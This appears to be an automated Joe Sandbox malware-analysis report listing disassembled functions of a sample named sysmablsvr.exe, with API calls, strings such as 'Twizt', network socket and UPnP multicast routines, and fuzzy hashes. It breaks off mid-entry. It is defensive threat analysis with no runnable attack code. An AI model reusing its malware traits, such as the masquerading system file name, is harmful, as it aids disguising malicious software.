Function 00406F70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,00407FB7), ref: 00406F78
SysAllocString.OLEAUT32(C:\Windows\sysmablsvr.exe), ref: 00406F83
CoUninitialize.OLE32 ref: 00406FA8

Part of subcall function 00406FC0: SysFreeString.OLEAUT32(00000000), ref: 004071D8

SysFreeString.OLEAUT32(00000000), ref: 00406FA2

Strings

C:\Windows\sysmablsvr.exe, xrefs: 00406F7E

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID: C:\Windows\sysmablsvr.exe
API String ID: 459949847-366549503
Opcode ID: 04d1d2bcffda370cb2b5a7ceb5013a9587be47d2db71fc951fd56c3c7d876cd0
Instruction ID: 7397cee9579370c29f446d7a93da1be4fc5365a48f81cc5ba3db23e82f7acdfe
Opcode Fuzzy Hash: 04d1d2bcffda370cb2b5a7ceb5013a9587be47d2db71fc951fd56c3c7d876cd0
Instruction Fuzzy Hash: 22E0D8B4940308FBCB00DBE0ED0EB8D7734EB04315F004074F90267291DAB95E80C755

Function 004062C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(0040629F), ref: 004062CD
QueryDosDeviceW.KERNEL32(0040629F,?,00000208), ref: 0040630C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00406324

Strings

\??\, xrefs: 00406318

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction ID: fe1cba3e8f96ca8ec28924db8accccc61f2e919e988f9d14e04ecf4ac666ff3a
Opcode Fuzzy Hash: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction Fuzzy Hash: 1901FFB0A4021CEBCB20DF55DD49BDAB7B4AB04704F00C0BAAA05A7280E6759ED5DF9C

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 9fd04ca368f2f0733dbd00e11fcdc64336c0dc17fc499274760987b24178d786
Instruction ID: e1b7ef358c802af59afb00f280b99e3e8e19274dac2adc7c4e0c886c1a13037e
Opcode Fuzzy Hash: 9fd04ca368f2f0733dbd00e11fcdc64336c0dc17fc499274760987b24178d786
Instruction Fuzzy Hash: 1521C3B1504301AFD304DF65DC84A6BB7E9EF88314F004A3EF555A62A0E774DD488BEA

Function 00406FC0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407250: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407270

SysFreeString.OLEAUT32(00000000), ref: 004071D8

Strings

Microsoft Corporation, xrefs: 00407146

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 47348544a12607a113ad889ec3bd29dddf14831e53aa8f734b6601f1a55deb08
Instruction ID: e6ff3ca51e6e637cb53d631dd4329f9e07d4b07e7a8aed38044ad589faa32fb5
Opcode Fuzzy Hash: 47348544a12607a113ad889ec3bd29dddf14831e53aa8f734b6601f1a55deb08
Instruction Fuzzy Hash: 0F91EC75A0410ADFCB04DF98C894AAFB3B5BF89304F208169E515BB3E0D774AD41CBA6

Function 0040DBD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002,?,?,?,00407FB2), ref: 0040DBDA

Part of subcall function 0040DCA0: socket.WS2_32(00000002,00000002,00000011), ref: 0040DCBA
Part of subcall function 0040DCA0: htons.WS2_32(0000076C), ref: 0040DCF0
Part of subcall function 0040DCA0: inet_addr.WS2_32(239.255.255.250), ref: 0040DCFF
Part of subcall function 0040DCA0: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DD1D
Part of subcall function 0040DCA0: bind.WS2_32(000000FF,?,00000010), ref: 0040DD53
Part of subcall function 0040DCA0: lstrlenA.KERNEL32(00411D70,00000000,?,00000010), ref: 0040DD6C
Part of subcall function 0040DCA0: sendto.WS2_32(000000FF,00411D70,00000000), ref: 0040DD7B
Part of subcall function 0040DCA0: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DD95

Part of subcall function 0040DF10: SysFreeString.OLEAUT32(00000000), ref: 0040DFEB
Part of subcall function 0040DF10: SysFreeString.OLEAUT32(00000000), ref: 0040DFF5

Strings

TCP, xrefs: 0040DC4B
UDP, xrefs: 0040DC68

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: eec8d27479aca65ce9d536c40e716b47b94f3bf0f210a133f1cac4c1684116a5
Instruction ID: a00cbb5bcfca6c5959655f637b3ec774768ac2685424fa301eff230043eb3e38
Opcode Fuzzy Hash: eec8d27479aca65ce9d536c40e716b47b94f3bf0f210a133f1cac4c1684116a5
Instruction Fuzzy Hash: A011B4B4D04208EBEB00EBD4DD85FAE7774EB44308F14886EE511772C2D6B86A54DB59

Function 0040D060 Relevance: 4.6, APIs: 3, Instructions: 120COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040D06C
InterlockedIncrement.KERNEL32(000000FF), ref: 0040D0A1
InterlockedDecrement.KERNEL32(000000FF), ref: 0040D1A4

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Interlocked$DecrementExchangeIncrement
String ID:
API String ID: 2813130747-0
Opcode ID: 10f46782638f7eda3a214a1f10b58e6aed05a65f91f94cb894a7507c1a205cdc
Instruction ID: 017c2f15931ef08fbe7839c337ff8a6f36f60e541ef5a040d0e28dc2d006860e
Opcode Fuzzy Hash: 10f46782638f7eda3a214a1f10b58e6aed05a65f91f94cb894a7507c1a205cdc
Instruction Fuzzy Hash: 0F41C4B5E00204BBDB00EAE4DC45BAFB774AF44304F14856DF5057B2C2EA39E549C7AA

Function 0040BA10 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Twizt,0040D0C6,0040D0C6,?,?,0040D0C6,000000FF,0040D0C6,0040D0C6,000000FF,00000000), ref: 0040BA5C

Strings

Twizt, xrefs: 0040BA63
Twizt, xrefs: 0040BA57

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: Twizt$Twizt
API String ID: 1659193697-16428492
Opcode ID: fa8edf28750f8027af871247a63973c4b41ab5b5d4de526fdf23350eaac8532b
Instruction ID: 4e54a8859baccdb28b1a2df46ebdf2c08f14bf9243dcc10692db5268a496b862
Opcode Fuzzy Hash: fa8edf28750f8027af871247a63973c4b41ab5b5d4de526fdf23350eaac8532b
Instruction Fuzzy Hash: 0E111FB5900108BFCB04DF98D845E9EB7B5EF48304F14C1A9FD19AB342D635EA51CBA6

Function 0040D350 Relevance: 4.5, APIs: 3, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0040D363
htons.WS2_32(00009E34), ref: 0040D395
connect.WS2_32(000000FF,?,00000010), ref: 0040D3AF

Part of subcall function 0040B0D0: shutdown.WS2_32(0040B0BD,00000002), ref: 0040B0D9
Part of subcall function 0040B0D0: closesocket.WS2_32(0040B0BD), ref: 0040B0E3

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: closesocketconnecthtonsshutdownsocket
String ID:
API String ID: 1987800339-0
Opcode ID: ad00b5e66e502cf51556e2fe0723fe5a46734f1a748e3451fb2f35000b259efe
Instruction ID: ee266e0a8c8719bc2fba7400efab20befeff5f99746ae5463c0b1e7a65fd0daa
Opcode Fuzzy Hash: ad00b5e66e502cf51556e2fe0723fe5a46734f1a748e3451fb2f35000b259efe
Instruction Fuzzy Hash: 72115E74D15209EBCB10DFE4D9096AEB770AF08320F2042A9E825A73D0E7744F04D75A

Function 0040A400 Relevance: 4.5, APIs: 3, Instructions: 34memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040A3E0: GetCurrentProcessId.KERNEL32(?,0040A34B,?,0040CC5E,00000010,?,?,?,?,?,?,0040C9CB), ref: 0040A3E3

HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,0040A357,?,0040CC5E,00000010,?,?,?,?,?,?,0040C9CB), ref: 0040A42C
HeapSetInformation.KERNEL32(00520000,00000000,00000002,00000004), ref: 0040A456
GetCurrentProcessId.KERNEL32 ref: 0040A45C

Part of subcall function 0040A470: GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040A48C

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Process$CurrentHeap$CreateHeapsInformation
String ID:
API String ID: 3179415709-0
Opcode ID: 5a108914b3ca16dd467672ecd1f535595cbdc9e5ef981947958d13e496554fa7
Instruction ID: edbbffaf93a3436984b23127d7402b1a87aa4c07fde6db6b10934f01e370cb92
Opcode Fuzzy Hash: 5a108914b3ca16dd467672ecd1f535595cbdc9e5ef981947958d13e496554fa7
Instruction Fuzzy Hash: AFF0B4B4594304ABD324EB61FD49FA73674A704309F10C03AF6059A2D0EAB99854CBAE

Function 0040ED00 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00406B80,80000000,00000001,00000000,00000003,00000000,00000000,00406B80), ref: 0040ED20
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040ED35
CloseHandle.KERNEL32(000000FF), ref: 0040ED42

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: df23a932ebc1e553a736a6907ae04855c01650ef694a25ef55576e6386c5cc64
Instruction ID: 98ef07a2b566d3243162703a825906d5a5daebce6a0da163f7da7fd81d96dea2
Opcode Fuzzy Hash: df23a932ebc1e553a736a6907ae04855c01650ef694a25ef55576e6386c5cc64
Instruction Fuzzy Hash: 59F01C78A40308FBDB20DFA4DC49B8DBBB4EB04701F208295FA04BB2D0D6B56A908B44

Function 0040A340 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040A3E0: GetCurrentProcessId.KERNEL32(?,0040A34B,?,0040CC5E,00000010,?,?,?,?,?,?,0040C9CB), ref: 0040A3E3

RtlAllocateHeap.NTDLL(00520000,?,-0000000C), ref: 0040A38A
memset.NTDLL ref: 0040A3C4

Part of subcall function 0040A400: HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,0040A357,?,0040CC5E,00000010,?,?,?,?,?,?,0040C9CB), ref: 0040A42C
Part of subcall function 0040A400: HeapSetInformation.KERNEL32(00520000,00000000,00000002,00000004), ref: 0040A456
Part of subcall function 0040A400: GetCurrentProcessId.KERNEL32 ref: 0040A45C

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Heap$CurrentProcess$AllocateCreateInformationmemset
String ID:
API String ID: 3494217179-0
Opcode ID: ff151d06aee4f1c47090b8446ec3a31afed0510a3b2c283af0ac3e03788a053e
Instruction ID: dafe32efe4c167221a9f0a0fcc4700d2ff8859eb3bfe14518bdee6820b90f2e1
Opcode Fuzzy Hash: ff151d06aee4f1c47090b8446ec3a31afed0510a3b2c283af0ac3e03788a053e
Instruction Fuzzy Hash: DB111675D00208BBCB14DFA5DC45F9E7BB4AF44308F14C169F908A7381D6799A64CB99

Function 0040DAE0 Relevance: 3.0, APIs: 2, Instructions: 49synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004013B0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DAED,00000000), ref: 004013D5
Part of subcall function 004013B0: socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
Part of subcall function 004013B0: bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 0040B790: EnterCriticalSection.KERNEL32(00417F40,?,?,0040D449), ref: 0040B7A0
Part of subcall function 0040B790: LeaveCriticalSection.KERNEL32(00417F40,?,?,0040D449), ref: 0040B7CC

InterlockedExchangeAdd.KERNEL32(00000000,00000000), ref: 0040DB0D
WaitForSingleObject.KERNEL32(00000608,00001388), ref: 0040DB57

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$CreateEnterEventExchangeInterlockedLeaveObjectSingleWaitbindsocket
String ID:
API String ID: 3920643007-0
Opcode ID: b555294288812e662926245c1619bb05553a75d869341bdbd32587f084eee9a0
Instruction ID: 039b22cfc999328ab4dd85ecb07c912dee675a849c6b051bf2d5b72f10c66e02
Opcode Fuzzy Hash: b555294288812e662926245c1619bb05553a75d869341bdbd32587f084eee9a0
Instruction Fuzzy Hash: BF11C8B4E00208ABE704EBD4DC46FAF7775EB44700F10857AF601772D1E675AA40CB98

Function 0040B360 Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000100), ref: 0040B37C
gethostbyname.WS2_32(?), ref: 0040B38E

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostname
String ID:
API String ID: 3961807697-0
Opcode ID: aaec8b9e3ccfd23335778a95738de583a013869622460b5e30cdc36053fb7845
Instruction ID: 44deb7cf52290b4586819f8899dd9153b2a8efa645923fb411959763281ab54e
Opcode Fuzzy Hash: aaec8b9e3ccfd23335778a95738de583a013869622460b5e30cdc36053fb7845
Instruction Fuzzy Hash: 63113034908158CBCB24CF14C844BD9B771EB65314F2482DAD89967390C7F9ADC1CF89

Function 0040AFD0 Relevance: 3.0, APIs: 2, Instructions: 24networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(0040B051), ref: 0040AFDA
gethostbyname.WS2_32(?), ref: 0040AFED

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID:
API String ID: 1594361348-0
Opcode ID: c33f327bb9ec7267db1a3eace16e79cfc334ac04858cae8989207d18368f1188
Instruction ID: c30d1111fa8aec0d0243eb44b2ea1b203e3c6e8c9f62e428f3e96346a60b5274
Opcode Fuzzy Hash: c33f327bb9ec7267db1a3eace16e79cfc334ac04858cae8989207d18368f1188
Instruction Fuzzy Hash: B2F01C38900608EFCB00DFB8D44889DBBB4EB48315F2083AAE915673A0D7319E80DB84

Function 0040B9B0 Relevance: 3.0, APIs: 2, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000608,000003E8), ref: 0040B9BE
InterlockedDecrement.KERNEL32(00416900), ref: 0040B9D0

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: DecrementInterlockedObjectSingleWait
String ID:
API String ID: 4086267124-0
Opcode ID: 1e970852be599c696d547c929423b331989f4975ea251fc7d2b6c9e08e4946df
Instruction ID: a233c83ca34354034971c23090ee6659476326473442f5acee26e7234e36c9e2
Opcode Fuzzy Hash: 1e970852be599c696d547c929423b331989f4975ea251fc7d2b6c9e08e4946df
Instruction Fuzzy Hash: B3D0A7B060820897D6006BA2BC4AFAF361DF710700F208037F211F12C1DBBCC88087AD

Function 0040B0D0 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

shutdown.WS2_32(0040B0BD,00000002), ref: 0040B0D9
closesocket.WS2_32(0040B0BD), ref: 0040B0E3

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: closesocketshutdown
String ID:
API String ID: 572888783-0
Opcode ID: bfbd7c6bd4046a28b837c812f6aa1fd48043d02f9901879055b44668827d2eb5
Instruction ID: 69ce69260fc8840876d91afc79957fad69f2a54b7a8d7d483856da217b0a501e
Opcode Fuzzy Hash: bfbd7c6bd4046a28b837c812f6aa1fd48043d02f9901879055b44668827d2eb5
Instruction Fuzzy Hash: 04C04C7914120CBBCB049FE5ED4DDD97B6CEB4C651F008494FA098B251CBB6E980CB95

Function 0040B790 Relevance: 2.5, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00417F40,?,?,0040D449), ref: 0040B7A0
LeaveCriticalSection.KERNEL32(00417F40,?,?,0040D449), ref: 0040B7CC

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ebaff0e38dce2bcdecab070fba5d988b16e224b8acbc950c5cf15e01cb1945e0
Instruction ID: 82a24cfc49daa4dd113d85e03683bf8b847197676c2f08b7574fbd4a9c2e3740
Opcode Fuzzy Hash: ebaff0e38dce2bcdecab070fba5d988b16e224b8acbc950c5cf15e01cb1945e0
Instruction Fuzzy Hash: 9AE01AB4988248EBC704DB84EC4AB9A77B4E704304F2040A9F40953394DBB96E81CA5D

Function 0040B0F0 Relevance: 2.5, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00417F40,?,0040B987), ref: 0040B0F8
LeaveCriticalSection.KERNEL32(00417F40,?,0040B987), ref: 0040B108

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 16df506433d4e8c83b69bad2d7f7829224e80cd3d713427d489287ebbef4d618
Instruction ID: 2ed2b46888fb6f3b201c7a13b640640739f036443c4b3c2ece1b6af5f7013754
Opcode Fuzzy Hash: 16df506433d4e8c83b69bad2d7f7829224e80cd3d713427d489287ebbef4d618
Instruction Fuzzy Hash: F9B092301C8218B7810077A2EC0FECA3A28E954B55B1054F2F04A501AA8FEF24D145AE

Function 0040D220 Relevance: 1.5, APIs: 1, Instructions: 32networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,00000000,?,00000000), ref: 0040D23F

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
